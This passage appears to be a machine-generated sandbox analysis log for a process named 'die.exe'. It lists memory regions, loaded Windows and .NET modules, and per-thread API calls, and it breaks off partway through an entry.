Region: id = 9674 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 9775 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 9776 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 9777 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9778 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9779 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9780 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9781 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9782 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 9783 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9784 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 9785 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 9786 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 9925 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 9926 start_va = 0x20e0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 9958 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 10033 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 10034 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 10035 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 10036 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 10037 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 10038 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 10039 start_va = 0x2160000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 10148 start_va = 0x2170000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 10149 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 10150 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 10151 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 10152 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 10153 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 10154 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 10155 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 10156 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 10157 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 10158 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 10159 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 10160 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 10255 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 10316 start_va = 0x2200000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 10317 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10318 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10377 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10378 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10379 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10380 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10431 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10432 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 10433 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 10434 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 10454 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10469 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10486 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10494 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Thread: id = 348 os_tid = 0x650 [0225.379] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.259] EtwEventRegister (in: ProviderId=0x2455848, EnableCallback=0x1afe135c, CallbackContext=0x0, RegHandle=0x2455828 | out: RegHandle=0x2455828) returned 0x0 [0244.693] EtwEventRegister (in: ProviderId=0x2459fd0, EnableCallback=0x1afe13ac, CallbackContext=0x0, RegHandle=0x2459fb0 | out: RegHandle=0x2459fb0) returned 0x0 [0246.513] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x344a20*=0xd8, lpdwindex=0x20e614 | out: lpdwindex=0x20e614) returned 0x0 [0247.251] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a7f44c0*=0x228, lpdwindex=0x20e304 | out: lpdwindex=0x20e304) returned 0x0 [0247.808] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x344a20*=0xd8, lpdwindex=0x20e614 | out: lpdwindex=0x20e614) returned 0x0 [0267.406] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a7f4510*=0x24, lpdwindex=0x20e304 | out: lpdwindex=0x20e304) returned 0x0 [0267.974] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x344a20*=0xd8, lpdwindex=0x20e614) Thread: id = 417 os_tid = 0x4f4 Thread: id = 425 os_tid = 0x5ac [0226.595] CoGetContextToken (in: pToken=0xadf900 | out: pToken=0xadf900) returned 0x800401f0 [0226.595] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 433 os_tid = 0x778 Thread: id = 455 os_tid = 0x85c [0245.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.680] CoGetContextToken (in: pToken=0x1b23f690 | out: pToken=0x1b23f690) returned 0x0 [0245.680] CObjectContext::QueryInterface () returned 0x0 [0245.680] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.680] Release () returned 0x0 [0245.680] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.681] CoUninitialize () [0258.652] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b23dac8 | out: phkResult=0x1b23dac8*=0x0) returned 0x2 [0258.652] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe", nBufferLength=0x105, lpBuffer=0x1b23e600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe", lpFilePart=0x0) returned 0x28 Thread: id = 456 os_tid = 0x860 Thread: id = 489 os_tid = 0x8e4 Thread: id = 507 os_tid = 0x930 Thread: id = 508 os_tid = 0x934 Thread: id = 534 os_tid = 0x9a0 [0248.665] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.666] CoGetContextToken (in: pToken=0x1b8cf850 | out: pToken=0x1b8cf850) returned 0x0 [0248.666] CObjectContext::QueryInterface () returned 0x0 [0248.666] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.666] Release () returned 0x0 [0248.666] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.666] CoUninitialize () Thread: id = 548 os_tid = 0x9e0 Process: id = "86" image_name = "die.exe" filename = "c:\\program files (x86)\\internet explorer\\signup\\die.exe" page_root = "0x77c32000" os_pid = "0x654" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7343 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7344 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7345 start_va = 0x1f0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7346 start_va = 0xf00000 end_va = 0xfd7fff monitored = 1 entry_point = 0xfcf1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 7347 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7348 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7349 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7350 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7351 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7352 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7353 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7354 start_va = 0x40000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7355 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7356 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7357 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7436 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7437 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7438 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7459 start_va = 0x110000 end_va = 0x176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7460 start_va = 0x2f0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 7461 start_va = 0x3a0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 7462 start_va = 0x4a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 7615 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7616 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7617 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7618 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7619 start_va = 0x40000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7620 start_va = 0x90000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 7621 start_va = 0x4a0000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 7622 start_va = 0x630000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 7623 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7817 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7933 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7934 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7935 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7936 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7937 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7990 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7991 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 7992 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 7993 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7994 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7995 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8053 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 8054 start_va = 0xfe0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 8055 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8056 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 8057 start_va = 0x9d0000 end_va = 0xaa0fff monitored = 1 entry_point = 0xa9f1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 8078 start_va = 0x9d0000 end_va = 0xaa0fff monitored = 1 entry_point = 0xa9f1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 8079 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8283 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8302 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8412 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8460 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8461 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8520 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 8521 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 8522 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 8523 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8524 start_va = 0x7fe948f0000 end_va = 0x7fe948fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8525 start_va = 0x7fe94900000 end_va = 0x7fe9498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94900000" filename = "" Region: id = 8526 start_va = 0x7fe94990000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94990000" filename = "" Region: id = 8527 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 8528 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8529 start_va = 0x9d0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 8530 start_va = 0xad0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 8611 start_va = 0xdd0000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 8612 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8613 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8614 start_va = 0x23e0000 end_va = 0x1a3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 8651 start_va = 0x1a3e0000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a3e0000" filename = "" Region: id = 8652 start_va = 0xbf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 8653 start_va = 0x1a8c0000 end_va = 0x1a9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8c0000" filename = "" Region: id = 8654 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8685 start_va = 0x1a760000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 8686 start_va = 0x1aaf0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aaf0000" filename = "" Region: id = 8687 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8704 start_va = 0x1abf0000 end_va = 0x1aebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8717 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8764 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8765 start_va = 0x2f0000 end_va = 0x36cfff monitored = 0 entry_point = 0x2fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8766 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8767 start_va = 0x2f0000 end_va = 0x36cfff monitored = 0 entry_point = 0x2fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8768 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8820 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8821 start_va = 0x1a9c0000 end_va = 0x1aadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9c0000" filename = "" Region: id = 8822 start_va = 0x1aec0000 end_va = 0x1af9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed 